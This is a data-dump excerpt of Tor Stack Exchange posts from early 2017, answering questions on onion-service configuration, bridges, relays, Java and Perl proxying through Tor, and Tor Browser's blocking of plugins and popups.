  <row Id="13583" PostTypeId="1" AcceptedAnswerId="13587" CreationDate="2017-01-02T12:45:29.443" Score="0" ViewCount="637" Body="&lt;p&gt;I have several virtual hosts on traditional Nginx and Apache servers. They listen on ports 80 &amp;amp; 443. I would like to also make those sites available as hidden services (e.g. &lt;em&gt;&quot;This site is also available at XYZ.onion&quot;&lt;/em&gt; in the footer) by installing Tor on those same servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a practical way to do this? Put differently, does serving Tor hidden services require a separate server or can it be used in tandem with a traditional LAMP server?&lt;/p&gt;&#xA;" OwnerUserId="15705" LastActivityDate="2017-01-02T17:37:21.947" Title="Can I add hidden services to an existing traditional web server?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13585" PostTypeId="1" CreationDate="2017-01-02T16:28:58.600" Score="0" ViewCount="1034" Body="&lt;p&gt;I'm using Tor 0.2.8.9 on Mac.  I've come to realize that Tor exit nodes are easily identified, and as such, someone can block access to a Tor browser by simply blocking the IPs correspoding to those exit nodes.  I've read a little bit about bridges and my quesiton is, does using a bridge with Tor prevent people from knowing what exit node you use?&lt;/p&gt;&#xA;" OwnerUserId="14367" LastActivityDate="2017-01-03T14:51:44.457" Title="Are bridges a way to prevent identifying Tor exit nodes?" Tags="|exit-relays|bridge|" AnswerCount="1" CommentCount="0" ClosedDate="2017-01-02T18:50:48.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="13586" PostTypeId="2" ParentId="13585" CreationDate="2017-01-02T17:24:10.403" Score="1" Body="&lt;p&gt;nope, not at all. Using a bridge is a way to &lt;em&gt;enter&lt;/em&gt; the Tor network, it has literally nothing to do with &lt;em&gt;exiting&lt;/em&gt; it: you will have the IP address of the exit node used. When any detector like TorDNSEL will probe the exit node - it will flag it(it's outbound IP, in particular) as an exit. Bridges are a great helping hand in entering the network, but it's not related to the exiting mechanism at all. Even if you will use bridges on the exit node - it won't change it's outgoing IP. A thing that can potentially help it is a VPN on an exit node side: of course, it won't change the exit node's id/hash in Tor network, but it can change it's outgoing IP if you will switch your VPN connections to obtain a different outbound IP for an exit node. However - it seems to me that such kind of hiding techniques won't help greatly. The whole architecture of Tor network is to protect &lt;em&gt;the client&lt;/em&gt;, or &lt;em&gt;the incoming connection&lt;/em&gt;. Other things like Hidden Services and Exit nodes are much less protected from a tracking techniques.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-01-03T14:51:44.457" LastActivityDate="2017-01-03T14:51:44.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13587" PostTypeId="2" ParentId="13583" CreationDate="2017-01-02T17:37:21.947" Score="1" Body="&lt;p&gt;It can be run with a traditional server setup, there are certain pitfalls because most Apache, PHP + MySQL setups aren't intended for the kind of privacy that some onion services require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, offering an onion service for an already public website should be a simple task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially Tor just points the onion service at some endpoint, e.g. &lt;code&gt;127.0.0.1:80&lt;/code&gt; and any connections made to the onion service tor will create a connection to your chosen endpoint for and ferry the connection data back and forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So adding a simple hidden service configuration to your torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/onion&#xA;HiddenServicePort 80 127.0.0.1:80 # Port 80 on the onion corresponds to localhost port 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then ensure your webserver treats the .onion virtualhost as expected (the address will be written to &lt;code&gt;/var/lib/tor/onion/hostname&lt;/code&gt;) and that should be enough to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have requirements of the webservice being anonymous then I'd strongly recommend at both containing it by VM or some other container and using a restrictive firewall to block accidental network leaks. See the &lt;a href=&quot;https://riseup.net/en/security/network-security/tor/onionservices-best-practices&quot; rel=&quot;nofollow noreferrer&quot;&gt;RiseUp Hidden Service Best Practises&lt;/a&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-02T17:37:21.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13591" PostTypeId="2" ParentId="13572" CreationDate="2017-01-03T18:30:45.267" Score="1" Body="&lt;p&gt;Using Ubuntu/Debian pre-packaged scripts is very troublesome, so I'm using daemontools and screen to launch the &quot;process in screen&quot; with &lt;code&gt;RunAsDaemon 0&lt;/code&gt; and re-launching it via daemontools. The root of such a problem is deep inside the startup scripts for SystemD, because old ones for Ubuntu/Debian that used a SysV.init scripts seemed to be working almost fine(I've heard and solved some minor issues, usually happening after automatic updates). My technique is using combined monitoring/heartbeat script in daemontools and launching in &lt;code&gt;/etc/rc.local&lt;/code&gt; and re-launching in daemontools script a process inside a GNU Screen in foreground mode. It works fine, trouble-proof even in automatic upgrades case. If you need further assistance in launching Tor in daemontools? just say it - I'm glad to help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-03T18:30:45.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13592" PostTypeId="2" ParentId="13577" CreationDate="2017-01-03T18:49:05.220" Score="1" Body="&lt;p&gt;Tor works pretty fine on ARM - I'm running my nodes on ARM SBC's myself. You need to compile it by hand and OpenSSL and Libevent to avoid perfomance loss. If you need specific instructions - just say it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-03T18:49:05.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13593" PostTypeId="2" ParentId="13573" CreationDate="2017-01-03T18:59:15.487" Score="0" Body="&lt;p&gt;Yes, you can do it! Let's run your list step-by-step:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor's crypto is single core, sadly(until I finally debug and release my patch). So you need - basically - a dual-core CPU. One core to handle the crypto - other to do other stuff. Old Mac and iMac are OK, but be prepared for some complications compiling latest OpenSSL and Libevent on them. Minimal requirement is dual-core CPU + 512M ram. It will handle in no-GUI dedicated mode the single node of Tor fine. I've tested it on Raspberry Pi B+ - it's a singlecore, 512M RAM total, works fine!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to use OpenWRT on your router, if possible - it will give you more speed.  ADSL speeds are not a hyper-ones, so having 10Mbps down and 2Mbps up does not require much hardware in a stack. If your router can make it - it's fine!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, asymmetric connections like DSL are not a problem at all in running Tor&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Contact me on skype aves777 and on Facebook (&lt;a href=&quot;https://facebook.com/avesnin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebook.com/avesnin&lt;/a&gt;) - we will bring it up!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-03T18:59:15.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13594" PostTypeId="2" ParentId="6861" CreationDate="2017-01-03T23:13:55.143" Score="0" Body="&lt;p&gt;I use the following code to have TOR on my Java applications.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System.setProperty(&quot;java.net.preferIPv4Stack&quot; , &quot;true&quot;);&#xA;System.setProperty(&quot;socksProxyHost&quot;, TOR_IP);&#xA;System.setProperty(&quot;socksProxyPort&quot;, TOR_PORT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;TOR_IP&lt;/code&gt; and &lt;code&gt;TOR_PORT&lt;/code&gt; should be &lt;code&gt;&quot;127.0.0.1&quot;&lt;/code&gt; and &lt;code&gt;&quot;9150&quot;&lt;/code&gt; by default if you didn't mess with TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also managed to find some really old code on how to communicate with TOR to ask for a new identity through Java and created a class for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/M5ris0Dz&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorControl.java&lt;/a&gt; (You should change the constant COOKIE_FILE since I hard coded it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/JPUqv8S5&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorReader.java&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is used like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TorControl tc=null;&#xA;try {&#xA;    tc = new TorControl();&#xA;    tc.authenticate();&#xA;    tc.useProxy();&#xA;} catch (Exception e) {&#xA;    System.out.println(&quot;Couldn't connect to the TOR control port &quot;+CONTROLPORT);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then when you want to change your identity simply do &lt;code&gt;tc.newIdentity()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;code&gt;tc.useProxy()&lt;/code&gt; will already run the first snippet I posted to make Java run with TOR.&lt;/p&gt;&#xA;" OwnerDisplayName="user15719" LastActivityDate="2017-01-03T23:13:55.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13596" PostTypeId="1" CreationDate="2017-01-04T04:37:37.610" Score="0" ViewCount="2214" Body="&lt;p&gt;I know the risks of doing this but that's what I need. I'm trying to play videos from netflix but the TorBrowser keeps telling me that I need to install Silverlight.exe which in MacOS is not possible of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Silverlight for FireFox and I know TorBrowser engine's come from Firefox, so I thought that by having installed it in that browser would show up somehow in TorBrower... &lt;strong&gt;no love here.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next attempt was to try to move Silverlight.plugin (/Library/Internet Plug-Ins/) but couldn't find where to drop it inside TorBrowser. I tried several places but didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also trying to find the xpi file (if any exists) for Silverlight as I think I could load it in TorBrowser, but again, haven't been able to find any xpi for Silverlight... &lt;strong&gt;still no love.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or pointers with useful information about how to install Silverlight or something that netflix can recognize to play movies will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15725" LastActivityDate="2017-01-04T08:37:25.343" Title="Install Silverlight to TorBrowser on MacOSX" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13599" PostTypeId="1" CreationDate="2017-01-04T02:38:16.697" Score="5" ViewCount="1159" Body="&lt;p&gt;I understand how a Tor client connects to a hidden service, but can anyone explain to me how long a rendezvous point is used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to numbers  &lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work&quot;&gt;10-16 on this post on Tor stack exchange&lt;/a&gt;, the client determines the rendezvous point and sends an &quot;introduce message&quot; to the hidden service, containing the information of the rendezvous point and a one-time-secret/cookie request, via one of the hidden services introductory points, in order for the hidden service to know how to communicate with the client. The hidden service then sends the one-time-secret/cookie to the rendezvous point, where the rendezvous point forwards it to the client. The client is then informed that a connection is established. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is where I was confused, number 16 states: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Client and hidden service talk to each other over this rendezvous&#xA;  point. All traffic is end-to-end encrypted and the rendezvous point&#xA;  just relays it back and forth. Note that each of them, client and&#xA;  hidden service, build a circuit to the rendezvous point; at three hops&#xA;  per circuit this makes six hops in total.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I understand this, I am simply wondering how often this changes. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you change rendezvous points and repeat this whole process everytime you switch to a different page, even on the same hidden service? &lt;/li&gt;&#xA;&lt;li&gt;Do you use the same rendezvous point the whole time you are using the hidden service, even when you switch to a different page on that hidden service, and only change rendezvous point and repeat this proccess when you leave the site and come back? &lt;/li&gt;&#xA;&lt;li&gt;Or does none of this change until you completely shut down the Tor browser and re-open it?&lt;/li&gt;&#xA;&lt;li&gt;Is the same rendezvous point used for every hidden service you visit in a given browsing session until you restart Tor?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="tim petrem" LastActivityDate="2018-10-17T21:19:00.013" Title="How often does a Tor change rendezvous point with hidden service?" Tags="|onion-routing|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13600" PostTypeId="2" ParentId="13599" CreationDate="2017-01-04T08:07:21.667" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Do you change rendezvous points and repeat this whole process every time you switch to a different page, even on the same hidden service?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No, the rendezvous point is used to establish a circuit, over each circuit you can create many streams (think &quot;TCP connections&quot;). Tor uses a notion of circuit &quot;dirtiness&quot;, by default after 10 minutes a circuit is considered &quot;dirty&quot; and any new connections are made over a new circuit, old connections will remain open on the old circuit. In the case of onion services, the dirtiness is &quot;reset&quot; each time a new connection is made over a circuit, so in this case if an onion circuit is unused for 10 minutes, it will be marked dirty and a new one established.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Do you use the same rendezvous point the whole time you are using the hidden service, even when you switch to a different page on that hidden service, and only change rendezvous point and repeat this process when you leave the site and come back? Or does none of this change until you completely shut down the Tor browser and re-open it?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Answered above.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Is the same rendezvous point used for every hidden service you visit in a given browsing session until you restart Tor?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No, a new rendezvous point is used for each onion service. This rendezvous point &lt;em&gt;may&lt;/em&gt; be the same relay but won't be the same circuit.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;rendezvous protocol specification&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1.7. Alice's OP establishes a rendezvous point.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When Alice requests a connection to a given location-hidden service,&#xA;    and Alice's OP does not have an established circuit to that service,&#xA;    the OP builds a rendezvous circuit.  It does this by establishing&#xA;    a circuit to a randomly chosen OR, and sending a&#xA;    RELAY_COMMAND_ESTABLISH_RENDEZVOUS cell to that OR.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(OP - Onion Proxy, a Tor client. OR - Onion Router, a Tor relay.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further to this, there are various &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;isolation flags&lt;/a&gt; that can be used to isolate circuit use, using these could change the circumstances in which new circuits are used.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="3792" LastEditDate="2018-10-17T21:19:00.013" LastActivityDate="2018-10-17T21:19:00.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13601" PostTypeId="2" ParentId="13596" CreationDate="2017-01-04T08:37:25.343" Score="1" Body="&lt;p&gt;This is explicitly disabled by default, and has been for some years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/3547&quot; rel=&quot;nofollow noreferrer&quot;&gt;#3547&lt;/a&gt; set about to block the loading of plugins to Tor Browser. For reasons I cannot fathom, an explicit exception is set for Flash. This is implemented through &lt;a href=&quot;https://gitweb.torproject.org/tor-browser.git/commit/?h=tor-browser-45.6.0esr-6.5-1&amp;amp;id=de2eb8f8d9f0d4e1d7371a2204c78d68fc82a762&quot; rel=&quot;nofollow noreferrer&quot;&gt;this patch&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10280&quot; rel=&quot;nofollow noreferrer&quot;&gt;#10280&lt;/a&gt; also enforces that the user has to explicitly enable even looking for flash, by unticking a box under the Tor Button's Privacy and Security settings page. This is implemented through &lt;a href=&quot;https://gitweb.torproject.org/tor-browser.git/commit/?h=tor-browser-45.6.0esr-6.5-1&amp;amp;id=2d728f7c3a526d3b18fe4f61ad26ab0db316fcab&quot; rel=&quot;nofollow noreferrer&quot;&gt;this patch&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such you will, by design, have great difficulty adding any plugins into Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been suggested that trying to rename the plugin to appear as flash may work but understand that it is likely that the plugin may disregard the browsers proxy settings and an attacker may be able to utilise this to link your Tor browsing to your real identity and location &lt;em&gt;in unexpected and unanticipated ways&lt;/em&gt;. Simply loading the plugin into the address space of the Tor Browser process may be enough to compromise your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-04T08:37:25.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13602" PostTypeId="2" ParentId="13531" CreationDate="2017-01-04T09:32:50.243" Score="2" Body="&lt;p&gt;Popups are dangerous, whoever creates the popup gets to determine it's size, as such by making a popup with a very large size you can saturate the whole screen then use javascript to read back the screensize to determine the size of the users desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, they're disabled. You can whitelist sites to be allowed use them from the popup blocking notification prompt but they'll open as new tabs, not as a new popup window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9881&quot; rel=&quot;nofollow noreferrer&quot;&gt;#9881&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12979&quot; rel=&quot;nofollow noreferrer&quot;&gt;#12979&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-04T09:32:50.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13608" PostTypeId="1" CreationDate="2017-01-04T22:16:47.530" Score="1" ViewCount="867" Body="&lt;p&gt;I would like to read Kindle books anonymously, to protect my identity from being used against me (for example, employment opportunities, reputtaion, etc).  I have tried using Tor and the kindle cloud reader, but Amazon will not let me download some books.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can VMWare &quot;sandbox&quot; me from being identified, if I find a way to also use Kindle for PC app through Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgive me, but I am not very tech savvy.&lt;/p&gt;&#xA;" OwnerUserId="15743" LastActivityDate="2021-12-17T10:04:30.297" Title="Use Kindle for PC Anonymously" Tags="|anonymity|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13610" PostTypeId="1" CreationDate="2017-01-05T02:18:17.630" Score="0" ViewCount="840" Body="&lt;p&gt;I am trying to use the following in my perl script, can anyone tel me why i am unable to connect. Where am I wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  my $mech = WWW::Mechanize-&amp;gt;new();&#xA;  $mech-&amp;gt;proxy(['http'], 'http://localhost:9050');&#xA;  $mech-&amp;gt;get(&quot;http://blockexplorer.com/q/getreceivedbyaddress/&quot;.           $btcaddress);    # Check transactions on my addresses&#xA;  my $getreceived = $mech-&amp;gt;content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have decided to use Net::SOCKS, is this the correct way to implement this into the perl script?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  my $mech = WWW::Mechanize-&amp;gt;new();&#xA;  my $sock = new Net::SOCKS(socks_addr =&amp;gt; '127.0.0.1',&#xA;            socks_port =&amp;gt; 9050,&#xA;            user_id =&amp;gt; 'the_user',&#xA;            user_password =&amp;gt; 'the_password',&#xA;            force_nonanonymous =&amp;gt; 1,&#xA;            protocol_version =&amp;gt; 5);&#xA;&#xA;&#xA;  $mech-&amp;gt;get(&quot;http://blockexplorer.com/q/getreceivedbyaddress/&quot;.$btcaddress);   # Check transactions on bitcoin address&#xA;  my $getreceived = $mech-&amp;gt;content;&#xA;&#xA;  $mech-&amp;gt;get(&quot;http://blockexplorer.com/q/addressbalance/&quot;.$btcaddress);   # Check balance on bitcoin address&#xA;  my $addressbalance = $mech-&amp;gt;content;&#xA;&#xA;  # send it back to the parent process&#xA;  $pm-&amp;gt;finish(0, [ $getreceived, $addressbalance, $btcaddress, $private, $passphrase ]);  &#xA;  $sock-&amp;gt;close();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9929" LastEditorUserId="9929" LastEditDate="2017-01-05T11:24:52.537" LastActivityDate="2022-04-10T15:01:10.210" Title="Using Tor in perl script with $mech-&gt;get" Tags="|configuration|torsocks|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13612" PostTypeId="1" CreationDate="2017-01-05T03:16:24.877" Score="1" ViewCount="321" Body="&lt;p&gt;From what I've read the onion routing process goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The client encrypts its traffic to the destination server and sends it to the first node (encrypted);&lt;/li&gt;&#xA;&lt;li&gt;The fird node encrypts it again and then sends it to the seconds node;&lt;/li&gt;&#xA;&lt;li&gt;And so on until the decryption process starts (the amount of nodes the traffic goes through and the layers of encryption can vary. i think.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The last node completely decrypts the traffic and sends it to the destination server unencrypted&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The server encrypts its response to the client and sends it to a node and the cycle of encryption and decryption starts again, just like the client did in the beginning&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The client receives the traffic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the server's response reach the client encrypted or unencrypted? Is the cycle exactly the same for the client's request as it is for the server's response?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.1 If unencrypted, wouldn't my ISP or anyone else be able to spy on me?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does the traffic on the last node go to the destination server fully unencrypted? What prevents it from being encrypted?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15746" LastActivityDate="2017-01-05T03:47:51.063" Title="Tor's encryption confusion and client to first node encryption" Tags="|security|encryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13613" PostTypeId="2" ParentId="13612" CreationDate="2017-01-05T03:47:51.063" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the server's response reach the client encrypted or unencrypted? Is the cycle exactly the same for the client's request as it is for the server's response?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It reaches the client encrypted (in multiple layers, although to stop ISP snooping one layer is sufficient, the multiple layers is to stop &lt;em&gt;relays&lt;/em&gt; from snooping too). For more information on this see &lt;a href=&quot;https://tor.stackexchange.com/questions/12100/understanding-the-tor-circuit/12101#12101&quot;&gt;this question and answer&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does the traffic on the last node go to the destination server fully unencrypted? What prevents it from being encrypted?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any encryption must be done on the application layer, you could send encrypted data to the destination but the destination must know how to decrypt it. For more inforamtion on this see &lt;a href=&quot;https://tor.stackexchange.com/questions/9450/does-tor-add-encryption-at-the-tcp-protocol-level/12094#12094&quot;&gt;this question and answer&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S. how do you handle a question this is two questions, both of which are duplicates but when combined aren't a single duplicate? This seems like a failing of the StackExchange system...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-05T03:47:51.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13614" PostTypeId="1" CreationDate="2017-01-05T06:30:09.180" Score="1" ViewCount="104" Body="&lt;p&gt;I am sending command line commands to the Iptables. Once I set these rules I connect to my router. on connecting all the rules I just add is removed and only the original firewall rules that tails has added is present. I can not save and restore the rules as I am using a DVD. How can I send commands to Iptables and make them stay without getting deleted after I have connected to the router? I can added rules after the connection is made but I would like to have the firewall rules set before the connection.&lt;/p&gt;&#xA;" OwnerUserId="15701" LastActivityDate="2017-01-05T06:30:09.180" Title="How can I set the firewall rules on Iptables without them getting deleted?" Tags="|security|tails|firewall|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13615" PostTypeId="1" CreationDate="2017-01-05T08:20:51.753" Score="0" ViewCount="367" Body="&lt;p&gt;I use the Tor Browser on my MacOS-Sierra. Am not automatic now a Relay I read. But when I change the torcc file the browser doesn't start anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An answer would be great, or also the right configuration marks in torcc file for the relay to get started in MacOS-sierra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Boaz&lt;/p&gt;&#xA;" OwnerUserId="15748" LastEditorUserId="15748" LastEditDate="2017-01-10T09:22:32.940" LastActivityDate="2018-07-24T00:54:41.687" Title="Torcc file settings MacOS for a Relay doesn't work" Tags="|relays|mac|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13616" PostTypeId="2" ParentId="13551" CreationDate="2017-01-05T09:56:47.627" Score="0" Body="&lt;p&gt;At the moment, I realized that Privoxy conflicts with Torbutton. What needs to change in the Torbutton, to remove this conflict?&lt;/p&gt;&#xA;" OwnerUserId="15679" LastActivityDate="2017-01-05T09:56:47.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13617" PostTypeId="1" AcceptedAnswerId="13620" CreationDate="2017-01-05T12:41:44.970" Score="0" ViewCount="383" Body="&lt;p&gt;I am trying to use a http proxy in my perl script, specifically tinyproxy. I keep getting an error &quot;error in socket creation&quot;. can someone point out my errors and how to fix them please, would be very grateful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my $mech = WWW::Mechanize-&amp;gt;new();&#xA;  my $socket = new IO::Socket::INET (&#xA;  LocalHost =&amp;gt; '127.0.0.1',&#xA;  LocalPort =&amp;gt; '8888',&#xA;  Proto =&amp;gt; 'http',&#xA;  Listen =&amp;gt; 5,&#xA;  Reuse =&amp;gt; 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;) or die &quot;ERROR in Socket Creation : $!\n&quot;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $socket-&amp;gt;proxy(['http'], 'http://127.0.0.1:8888');&#xA;  $mech-&amp;gt;get(&quot;http://blockexplorer.com/q/getreceivedbyaddress/&quot;.$btcaddress);   # Check transactions on bitcoin address&#xA;  my $getreceived = $mech-&amp;gt;content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9929" LastActivityDate="2017-01-05T14:37:46.977" Title="Using tiny proxy in perl script - help" Tags="|ubuntu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13618" PostTypeId="1" CreationDate="2017-01-05T13:37:33.780" Score="1" ViewCount="206" Body="&lt;p&gt;If I go to a standard onion service Tor button shows me,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Me &amp;lt;-&gt; Guard (IP) &amp;lt;-&gt; Middle (IP) &amp;lt;-&gt; Exit (IP) &amp;lt;-&gt; relay (without giving the IP) &amp;lt;-&gt; relay &amp;lt;-&gt; relay &amp;lt;-&gt; onion service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I go to the new single onion services will the Tor Button notice the difference and wont show the 6 hops (only 3 hops)?&lt;/p&gt;&#xA;" OwnerUserId="15752" LastActivityDate="2017-01-20T14:54:56.230" Title="If I go to a single onion service will the Tor Button notice the difference?" Tags="|onion-services|tor-button|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
